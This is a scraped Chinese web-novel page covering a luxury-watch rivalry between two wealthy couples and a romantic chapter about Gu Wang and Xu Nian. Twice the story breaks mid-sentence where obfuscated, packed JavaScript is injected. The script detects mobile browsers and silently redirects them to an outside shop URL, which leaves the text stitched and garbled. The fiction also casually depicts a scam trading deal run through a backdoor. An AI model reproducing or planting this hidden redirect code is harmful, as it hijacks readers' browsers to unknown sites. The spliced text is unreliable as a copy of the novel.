离谱的是,这事闹得风风火火,两位当事老公却对此一无所知。更离谱的是,表还迟迟没影,两个什么都不知道的男人居然又在差不多的时间里,同时起了一个差不多的念头:double date。 顾妄想得很简单。顾太太这几天莫名有点闷闷的,他问不出来,哄了两句也没见好,不如干脆带出去散散心,顺便让他跟闺蜜贴贴,一举两得。 裴与驰那边更直接。比起放任迟铎继续混在那群纽约贵妇里,听她们轮番给他灌迷魂汤,他宁愿亲手把人塞给许念。至少在许念身边,迟铎只会开开心心当酷姐姐,不会被人带歪。 于是两个人分别开口提了。 许念听完,安静了两秒,抬起脸的时候笑得又甜又乖:“好呀。” 迟铎则一手搅着咖啡,一手托着下巴,平静地“嗯”了一声:“行啊。” 答应得一个比一个爽快。 骨瓷茶杯碰出清脆的响声。许念和迟铎隔着桌子商业互吹,从夹克版型夸到项链成色,你来我往,礼数周全,谁都没提那块表,可谁都没忘。 顾妄端起茶杯,看了眼对面的裴与驰:“下午有安排?” 裴与驰刚把抹好clotted cream的司康递给迟铎,抬了抬眼:“没有。” 顾妄“嗯”了一声,刚想往下接,桌上两部手机几乎同时震了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396979|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 许念低头,迟铎也低头。 一左一右,两条消息安安静静躺在屏幕上。 【Helen:下午五点来店里看看,可能有惊喜。】 【Hazel:下午五点来店里看看,可能有惊喜。】 两个人看完,几乎是同一时间抬头,目光在半空里撞了一下。谁都没先挪开。 许念伸手按住顾妄的手背,眼睛睁得圆圆的:“宝宝的早教玩具到了,我们等下得去拿。” 迟铎端起伯爵茶,面不改色:“Ethan的手办到了,我们也得去取。” 两个人说完,居然还都冲对方笑了一下。笑得一个比一个好看,也一个比一个不真诚。 桌上两个老公一个脑子里还在算用户活跃,一个心里还在过仓位调整,谁都没察觉自家老婆已经隔空交锋了一整轮。顾太低头慢条斯理地叉蛋糕,裴太抬手优雅地戳司康,心里却不约而同只剩下一句话: 各凭本事,走着瞧。 下午五点,两对夫妻准时出现在同一家店门口。 Helen和Hazel一左一右站在门口,本来都只打算迎接自家的vvic贵妇,结果一抬头,贵妇来了,老公也来了,而且还一来来了俩。两个人脸上的职业微笑一起僵住,脑子里齐齐冒出一句:完了,经理今天怕是要掉层皮。 顾妄插着兜站在门口,抬眼扫了扫店里一整排珠宝和腕表,眉心轻轻拧起来:“这里卖早教玩具?” 裴与驰更直接,视线从橱窗里那排钻石一路扫过去,最后落回迟铎脸上:“你给Ethan买纯钻钢铁侠?” “你别管,坐着等我。” “你别问,坐着等我。” 许念和迟铎异口同声。两个人说完都顿了一下,谁也没回头,转身直奔各自的SA。结果话都没聊两句,又几乎同时转过身来,冲着店里同一个方向开口:“把你们manager叫出来。” 经理满头是汗地从里间快步出来,硬着头皮把人往VIP区请,嘴里来来回回还是那几句车轱辘话:“我们绝对没有怠慢二位的意思。”“真的不是针对二位,都是总部统一分配。”“我们也很为难,您二位理解一下。” 理解个屁。 许念坐姿乖巧,笑得甜美但致命:“可是你们就是怠慢了呀。” 迟铎长腿一叠,墨镜在指尖上转得飞起:“挺明显的。要不要我给经理你列个提纲?” 不远处的另一边,顾妄和裴与驰一人一杯香槟,坐得四平八稳。 顾妄往那边瞥了眼:“他们在干嘛?” 裴与驰头都没抬:“吵架。” 顾妄往沙发背上一靠,晃了晃杯子,十分冷静地下结论:“老婆们的事,少管。” 裴与驰“嗯”了一声,并不打算管,顺势把频道切回华尔街:“我手里有个量化客户,想挪点头寸去你交易所跑高频。” 顾妄终于来了点兴趣,抬眼看他:“多少?” “先放二十M刀试试。” “行,白名单通道给他开,API限频我让人放宽。”顾妄顿了顿,又问,“跑什么策略?” “TS34套利。” 顾妄直接乐了:“这种杀猪盘你也真敢往外推。” 裴与驰半点不心虚:“你不也敢开后门接。” 两只水晶杯在半空一碰,一笔见不得光的黑心买卖当场拍板。 另一边,讨伐大会已经进入白热化。 “你们让我们冲了这么多业绩。” “配货塞了一堆。” “现在表不给?拿我们当冤种?” 经理额角那层汗,眼看就要往下淌,他实在是有苦难言。 表其实半小时前已经出了。Helen和Hazel前脚刚给两位贵妇发完消息,后脚店里就进来一位金发碧眼的太太。细高跟踩得响,张嘴就是一串弹得人头皮发麻的英语。身后还跟着两个快顶到门框的壮汉,西装一裹,往那儿一站,像随时能把人,比如他这个柜哥拎起来对折。 经理偷偷扫了眼对方profile,说实话,消费额远不如眼前这两位中国贵妇。可中国贵妇体面,没拿到表最多翻脸,最多投诉,最多让他失业。而那位俄罗斯太太看着就不太像会写邮件的人。更像会让那两保镖把他套进麻袋里,直接沉去哈德逊河。 这么一想,事情瞬间就简单了。表当然得给更可怕的那位。毕竟得罪华尔街富豪的太太,丢的大概只是饭碗;得罪这位,他总觉得自己要丢的可能不止饭碗。 空气僵了半天,迟铎忽然往后一靠:“算了。” 许念偏头看他。那一瞬间两个人对视上,也不知道怎么回事,前几天还为了这块表生对方气的两位,忽然就同频了。 许念立刻弯起眼睛,接得飞快:“那表我们不要了。” 经理一愣,简直怀疑自己耳朵出问题了:“顾太?” 迟铎把墨镜往桌上一扔:“之前预定的配货也全退了。没那块表,剩下那些东西看着也没什么意思。” 许念点头点得飞快:“对呀,买一堆不喜欢的回去干吗?我们又不是来做慈善的。” 经理脸色当场就变了。表没保住,单也要飞,他喉结滚了滚,硬是把快裂开的职业微笑重新抻了回去,转头冲Helen和Hazel递了个眼色。两个SA赶紧低头操作,把之前刷掉的定金和预授权一笔一笔往回退。每退一笔,经理眼角就抽一下。VIP室里一时间安静得只剩刷卡机和键盘的声音。 而另一边,刚谈妥一笔黑心买卖的两个男人,兜里的手机突然同时开始狂震。 顾妄掏出来扫了一眼,屏幕上连着弹了七八条信用卡预授权解除通知,那一串被放出来的零看得他眉心直跳。裴与驰那边的情况也没好到哪去,手机一亮再亮,消息跟催命似的往外蹦。两个男人隔着茶几对视了一眼,谁都没说话,却头一回这么直观地意识到,自家老婆的shopping火力到底有多猛。 顾妄“啪”地把手机反扣在桌上,扯了下嘴角:“你那个客户,想办法忽悠他上杠杆。” 裴与驰眼皮都没抬:“三倍起步。半个月内盯死他全仓,别让他跑。” 搞钱。 现在,立刻,马上。 另一边,两位SA手指都快点僵了,才总算把之前那些预定的配货全退完。许念心情瞬间好了,立刻往迟铎那边一凑,伸手就去挽他胳膊,软绵绵地撒娇:“哥,那我们不是白吵啦?” 迟铎斜他一眼,语气还端着:“你才知道?” 许念鼓了下脸,小声嘟囔:“可是那块表真的很适合顾妄嘛。” 迟铎脱口而出:“……裴与驰戴明明更合适。” “都没了你还比!” “……条件反射,不行?” 上一秒还因为一块表差点绝交的姐妹花,下一秒因为表飞了,火速重新站回统一战线。 许念眼睛亮晶晶地看着迟铎:“那我们去吃日料吧?我想吃那家海胆饭。” 迟铎已经低头划开手机找定位了:“行。我要包厢。” “那我要点海胆,还要甜虾。” “随便点。”迟铎收了手机,抬手拨了下头发,“反正裴与驰买单。” 许念一听,眼睛一亮:“顾妄也可以买!” 两个端着空酒杯的老公:“……” 表没了,仗打完了。 姐妹,继续做。 彩蛋: 如果娇妻有 wb: 许念昵称:今天顾妄更帅了吗 迟铎昵称:裴与驰今天也最帅 如果两个人互相不认识,只是都混纽约贵妇圈,多少都听过对方一点风声,某天刷到对方主页,第一反应多半都会是同一句: 凭什么? 许念会想,顾妄明明更帅。 迟铎则会冷笑,裴与驰什么时候输过。 当娇妻,他们是认真的。 17.小狼狗 顾妄懒散地靠在门框上,等了半天也没见人出来,曲起手指在门板上敲了两下:“好了没?” 里面先是一阵兵荒马乱的窸窣声,半天才把门拉开一条细缝。许念扒着门边,只肯露出半张脸,睫毛垂得很低,声音也细若游丝:“……拉链卡住了。” 顾妄抬手抵住门,低声说:“转过去。” 许念磨蹭了两秒,还是乖乖转了身,把后背留给他。灯光一落,后颈那截皮肤白得像剥开的牛奶糖,肩线薄薄的,吊带压在上面,裙子把腰勒得极细,仿佛一只手就能圈住。顾妄垂眼看见那条卡在中间的拉链,原本想嘲讽一句“人傻钱多买次品”,可视线落在那截细腰上,话直接被咽了回去,他强行把眼神钉回拉链头,伸手捏住。 “你别太用力哦。”许念小声提醒。 “嗯。”顾妄应得随意。手根本没怎么使劲,那条刚才还跟许念死磕的拉链在他手里像是突然想通,畅通无阻一路滑到底。顾妄当场僵住,太阳穴突突直跳,脑子里只剩一个字:靠。 失去了束缚的布料瞬间向两边摊开。许念只觉后背一凉,紧接着就是胸前一松。他脑子里的警报器瞬间炸响,本能一把捂住胸口,另一只手往后腰一挡,转身瞪人的时候声音都变了调:“顾妄!!你就不能轻点吗!!” 顾妄手还停在半空,整个人像被雷劈了一下。刚才那一下太突然,雪白的皮肤、松开的布料,还有那根本来不及遮住的弧度,全砸进他眼里。 ……甚至还晃了一下,晃得他脑子直接黑屏。 “操。”他低骂一声,别开脸,转身就往外走,走得又急又快。 “你自己换。” 门被他反手带上,力道大得像在逃命。 许念还维持着那个狼狈姿势站在原地,胸口起伏得厉害。他竖起耳朵听了半天,确认门外彻底没动静,才一头冲向衣柜,抓起卫衣和牛仔裤就往身上套,越急越乱,卫衣都差点穿反。等把自己收拾妥当,他凑到镜子前一看,脸颊上的红晕还在。他气鼓鼓地皱了皱鼻尖,小声骂:“笨死了。” 也不知道到底是在骂裙子,骂自己,还是骂门外那个纯属来添乱的小孩哥。 电梯里,两个人并肩站着,中间留着一小段若有若无的距离,手各自垂在身侧,谁也没先开口。许念盯着楼层数字一格一格往下跳,脑子里却全是刚才那一幕,越想越想把自己埋进土里。他在心里发誓:以后所有新衣服必须先试三遍,安全测试不过关的,打死都不能穿给顾妄看。 电梯门一开,穿堂风一下子灌进来,许念被吹得肩膀一缩,下意识就把手往袖子里藏。结果藏到一半,掌心忽然一热。顾妄目视前方,脸上还是那副拽样,手却已经伸过来,直接扣住他的手,指节顺着指缝挤进去,握得很紧。许念低头看了一眼,又悄悄抬眼瞄顾妄的侧脸,睫毛轻轻扑闪了两下,指尖乖乖地回握。 楼下就是商场,两个人一路牵着手进去,最后拐进一家粤菜馆。顾妄翻菜单翻得很快,扫了两眼就报出一串菜名:生滚鱼片粥、虾饺皇、白灼菜心,清一色都走清淡无负担路线。许念本来还捧着茶杯在发呆,听到一半没忍住抬起头:“你不是说你饿了吗?这点够吃吗?”顾妄又加了几样,合上菜单看向他:“你不是怕胖?” “……” 这死小孩眼睛怎么这么尖,连他在偷偷减肥都看得出来。许念面上装没事,低头喝茶,心里已经把顾妄翻来覆去骂了一遍。为了谁啊,还不是怕晚上多吃两口,第二天镜头里脸肿得像发面馒头;更怕腰上真多点肉,某人抱他抱得那么顺手,手还不老实,一捏一个准,到时候想糊弄都糊弄不过去。 许念在心里骂得起劲,结果人家一句没听见,他倒先把自己骂饿了。毕竟晚饭没吃,午饭也只是一盒轻食沙拉。他捂着肚子在心里劝了自己好几遍:今晚少吃点。结果粥一端上来,他闻着香味还是没忍住动了勺子。第一口下去,胃总算舒服了,后面就再也没停下来。等吃得差不多,服务员又端上来一碗双皮奶。顾妄抬了抬下巴:“你的。” 许念立刻警惕起来:“……给你的。” “我不吃甜的。” “………” 许念盯着那碗双皮奶,半天没动勺子。 自从认识顾妄,他的体重就在危险边缘横跳。说到底还是怪他自己,当初为了跟他多聊两句,嘴一快,把自己爱吃什么全交代了个干净。现在顾妄投喂起来准得像开了挂,害得他这周连体重秤都没敢上。 他还在那儿纠结,顾妄已经靠着椅背看了过来。刚才在电梯里那点不自在早被他压了下去,这会儿脸上又恢复成那副欠揍样。他视线从许念身上扫过去,耳根其实还有点热,嘴上却一点没留情:“有点硌人,姐姐。” 许念一愣:“……什么?” 顾妄往前倾了点,压低嗓音,只让他听见:“刚才抱你的时候。”说完还抬抬下巴示意那碗双皮奶,“吃吧,长点肉,以后抱着手感好一点。” 许念一口气差点没提上来,勺子捏得死紧。他盯着顾妄那张脸,差点没忍住把双皮奶连勺一起扣过去。吃吃吃,撑死他算了!最好真喂圆了,改天直接往他身上一坐,看他还手不手感。许念一个字都不想多说,低头舀了一大勺塞进嘴里,腮帮子鼓得老高,边吃边记仇。 双皮奶刚吃完,菠萝油又端了上来。顾妄单手撑脸看着他:吃啊。” 许念连瞪他的力气都没了,气鼓鼓地把菠萝油拿起来,先把中间那块黄油抽掉,维持最后一点尊严,然后把面包当成顾妄,泄愤似的咬了一大口。酥脆的表皮瞬间在口腔里碎裂,浓郁的奶香弥漫开来。许念幸福地眯了下眼,心里刚冒出“算了真的好香”的念头,下一秒悲伤立刻涌上心头:完了,明天早上帕梅拉至少两套起步。 吃完饭出来,两个人又牵着手在商场里乱逛。没走多久许念就开始后悔,低头扫了眼自己身上那条为了迎合某位直男审美特意换上的紧身牛仔裤,出门前看着还又纯又辣,现在穿在身上简直像上刑。一顿高碳水塞下去,平时平坦的小腹一下变得很有存在感,他走路都不太敢迈大步,只能一路偷偷吸气收腹,生怕裤扣突然想不开当场崩盘。 可顾妄一点眼力见都没有,路过奶茶店的时候还特意停下来,捏了捏他的手:“喝不喝奶茶?给你点个双层奶油雪顶的。” 许念眼睛都瞪圆了,脑袋摇得飞快:“不喝不喝,我真喝不下了。” 顾妄“嗯”了一声,下一秒松开手,手臂一伸直接把他揽进怀里。许念还没反应过来,他的手已经隔着卫衣,在小腹上不轻不重按了一下。 “……” 顾妄低下头,贴着他耳朵笑,声音压得很低:“怎么,真把我们家姐姐撑坏了?” 许念耳朵腾地热了,抬脚就想踩他。顾妄像是早有预料,揽着他往旁边一带,轻轻松松躲开,顺势在他额头上亲了一下:“走了。” 许念抬手捂住额头,耳朵更红了,想骂他两句,最后还是没骂出口,只能气呼呼地被他搂着往外走。 顾妄把他送到门口,鞋都没换,准备送完人就走。许念把书包递给他,心里还偷偷反省了一秒,觉得自己刚才真是想太多,差点把顾妄这个纯情弟弟的人设都给扭曲了。反省完,余光一扫,就看见电竞桌上那套设备还亮着灯,整整齐齐摆在那儿,明显是是顾妄落下的。 “你电脑不带走吗?”他抓着门框问。 “放你这儿。”顾妄看他一眼,“怎么,不欢迎?” “怎么会。”许念立马摇头,指尖在门框上轻轻抠了一下,声音软下来,“我就是想问……那你作业怎么办?” “作业”两个字一出来,顾妄眉梢轻轻一抬,视线凉凉地往那台ROG全家桶上扫了一圈,又落回他脸上。他往前走一步,抬手捏住许念下巴,直接把那张脸抬了起来。 “姐姐。” 许念被他捏得心口一跳,睫毛颤了颤:“……怎、怎么了?” 顾妄盯着他,语气凉飕飕的:“你想让我每天背着游戏本去学校?” “啊?” “这么重。”顾妄面无表情,“我背几天,肩膀就废了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404434|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “……” 许念真的服了。他嫌重就直说啊,不背就不背嘛,干嘛突然凑这么近,还用这种偶像剧男主的霸道姿势,害他白紧张一场。他刚想小声说:“那你就放这儿嘛”,结果顾妄捏着他下巴的手指非但没松开,反而又微微往上抬了抬。 “还有,”顾妄盯着他的眼睛,一字一顿,“我早就想问了。” “……什么?” 顾妄冷着脸:“你到底还有多少野男人?” 许念傻眼:“……啊?” 顾妄扯了下嘴角:“你平时拿电脑干什么,我会不知道?英雄联盟又不吃配置。他给你配5090,是不懂,还是拿你当冤大头宰?” 他说着,指腹又往上抬了抬,逼着他看自己:“谁带你去配的?” 许念瞬间哑火,指尖下意识揪住衣角。提到陈逸他就来气,正事没办明白一件,回头还敢在微信上骂顾妄。他当时也是信了他的邪,配完这台冤种机器不算,还请陈逸吃了顿饭。这种事光想想都丢脸,怎么说得出口。 他支支吾吾,声音一点点低下去:“我……我就是去电脑城随便配的。想着贵一点总不会错嘛,而且……看着也挺好看。” 怕顾妄再问,他赶紧低头去翻手机,点开档口老板的微信,小声澄清:“真没有什么野男人……就是商家坑人……” 结果聊天记录一翻出来,顾妄的脸色更差了。最新一条是今天下午刚收到的:【惊喜清仓价2500元,粉色猫耳耳机,极兔到家】再往上,老板单方面发来几条疑似骚扰信息: 【美女,周末有空来玩呀~】 【买不买东西无所谓,来哥哥这里喝杯茶啊~~】 【你要是喜欢粉色,哥哥这里给你留了私货好东西~~~】 顾妄盯着屏幕看了两秒,脸完全黑透了,拇指已经压到了“删除”上。临按下去,他硬生生忍了忍,抬眼扫了许念一下,冷着脸问:“删不删?” 许念眨了眨眼:“删——” “吧”字还没来得及出口,顾妄已经按下去了。许念低头看着消失的对话框,心里其实还有一点点舍不得。那副粉色猫耳耳机造型是真的挺可爱,他本来都打算等会儿洗完澡就顺手下单。但看顾妄这脸色,他觉得自己只要再犹豫一下,这人下一句就会变成:“怎么,还想留着联系方式跟他慢慢聊?” 顾妄把手机塞回他手里,冷声警告:“你最好真没藏别的野男人。” 许念愣了一下,抬头看他,顾妄脸还是臭的,眼神也不怎么友善,看起来气得很认真。许念嘴角悄悄翘了一下,又赶紧抿住,低头把手机往怀里抱了抱,小小声嘟囔:“哪有那么多野男人啊……”他一边说,一边去牵顾妄的手,指尖勾着他的掌心轻轻晃了晃,声音也跟着软下来:“有你这一个都够我忙了,我哪还有精力再——” 话还没说完,顾妄忽然低下头,在他唇上碰了一下。一触即分,快得许念连眼睛都没来得及闭。顾妄已经偏过脸,张口在他颈侧咬了一下。这一口带着点醋意,咬得并不轻。许念肩膀猛地一缩,下意识抬手去推他,结果手腕刚抬起来,就被顾妄一把扣住。他手臂一收,把人牢牢按进怀里。唇齿还停在颈边,牙尖贴着那块皮肤慢慢碾过去,非得留点印子才肯罢休。过了几秒,他才松口,盯着那处新鲜的咬痕看了一眼,似乎终于顺了气,唇角勾起一个极其嚣张的弧度。 “顾妄——”许念一下捂住脖子,眼睛都瞪圆了,抬手就要打他。顾妄却早有准备,先一步退开,转身就往电梯那边走。仗着腿长,没两步人就快到电梯口了。一副咬完就跑、半点不打算负责的样子。 “哎你给我站住!” 许念追到门外冲他喊,尾音都气得扬了起来。顾妄头都没回,只懒洋洋抬手随便冲他挥了两下,背影嚣张得要命。 许念捂着脖子站在门口,越想越气,小声骂了一句:“臭小子。”骂完还是不解气,又冲着空荡荡的走廊喊了一句:“属狗的吧你。” 可惜电梯门早就关上了,也不知道里面那位到底听没听见。